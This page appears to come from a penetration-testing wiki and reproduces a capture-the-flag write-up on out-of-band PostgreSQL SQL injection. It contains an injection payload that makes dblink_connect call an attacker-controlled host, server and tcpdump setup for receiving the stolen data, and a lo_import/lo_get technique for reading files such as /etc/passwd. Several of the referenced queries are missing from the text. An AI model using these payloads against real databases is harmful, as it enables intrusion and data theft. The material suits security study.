dblink/lo_import data exfiltration

This is an example of how to exfiltrate data loading files in the database with lo_import and exfiltrate them using dblink_connect.

Preparing the exfiltration server/Asynchronous SQL Injection

Extracted from: https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md****

Because the pg_sleep also doesn't cause delay, we can safely assume if query execution occurs in the background or asynchronously.

Normally, dblink_connect can be used to open a persistent connection to a remote PostgreSQL database (e.g. SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')). Because we can control the parameter of this function, we can perform SQL Server Side Request Forgery to our own host. That means, we can perform Out-of-Band SQL Injection to exfiltrate data from SQL query results. At least, there are two ways to do this:

  1. Set up a DNS server and then trigger the connection to [data].our.domain so that we can see the data in the log or in the DNS network packets.

  2. Set up a public PostgreSQL server, monitor the incoming network packets to PostgreSQL port, and then trigger a connection to our host with exfiltrated data as user/dbname. By default, PostgreSQL doesn't use SSL for communication so we can see user/dbname as a plain-text on the network.

The second method is easier because we don't need any domain. We only need to set up a server with a public IP, install PostgreSQL, set the PostgreSQL service to listen to */0.0.0.0, and run a network dumper (e.g. tcpdump) to monitor traffic to the PostgreSQL port (5432 by default).

To set PostgreSQL so that it will listen to the public, set listen_addresses in postgresql.conf to *.

listen_addresses = '*'

To monitor incoming traffic, run tcpdump to monitor port 5432.

sudo tcpdump -nX -i eth0 port 5432

To see if we get a connection from the target, we can try using this query:

asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --

If successful, we get a piece of network packet with readable user and dbname.

17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
    0x0000:  4500 005e 9417 4000 2706 248c 36b9 a3fe  E..^..@.'.$.6...
    0x0010:  9de6 2259 c718 2061 5889 142a 9f8a cb5d  .."Y...aX..*...]
    0x0020:  8018 00e5 1701 0000 0101 080a 39d2 393d  ............9.9=
    0x0030:  3924 7ef6 0000 002a 0003 0000 7573 6572  9$~....*....user
    0x0040:  0066 6172 6973 7600 6461 7461 6261 7365  .farisv.database
    0x0050:  0068 656c 6c6f 6672 6f6d 6662 0000       .hellofromfb.

Then, we can continue to extract the database using several PostgreSQL queries. Note that for each query result that contains whitespaces, we need to convert the result to hex/base64 with encode function or replace the whitespace to other character with replace function because it will cause an execution error during dblink_connect process.

Get a list of schemas:

Get a list of tables in current schema:

Count the rows in searches table.

It looks like it only has one empty table in the current schema and the flag is not in the database. We may really need to exfiltrate data from /var/lib/postgresql/data/secret. Unfortunately, if we try to use pg_read_file or pg_read_binary_file to read the file, we will not get an incoming connection so that the current user may not have permission to use these functions.

More info of asynchronous SQLInjection with postdresql

Exfiltrating large object contents

It's possible to read file using large objects (https://www.postgresql.org/docs/11/lo-funcs.html). We can use lo_import to load the contents of the file into the pg_largeobject catalog. If the query is success, we will get the object's oid.

We got 24668 as oid so that means we can use lo_import function. Unfortunately, we won't get any results if we try to get the content of large object using lo_get(24668) or directly access the pg_largeobject catalog. It looks like the current user doesn't have permission to read the content of new objects.

After reading the documentation of large objects in PostgreSQL, we can find out that large objects can has ACL (Access Control List). That means, if there is an old object with an ACL that allows current user to read it, then we can exfiltrate that object's content.

We can get a list of available large object's oid by extracting from pg_largeobject_metadata.

We got a bunch of oids. We can try using lo_get to load object's content. For example, lo_get(16439) will load the content of /etc/passwd. Because the result of lo_gets is bytea, we need to convert it to UTF8 so that it can be appended in the query.

We can try to load some objects with lowest oid to find out if the flag file has been loaded before. The flag file object does exist with oid 16444. There are no whitespaces in the flag so we can just display it as is.

To load the flag:

More info of oid:

PreviousPostgreSQL injectionNextPL/pgSQL Password Bruteforce

Last updated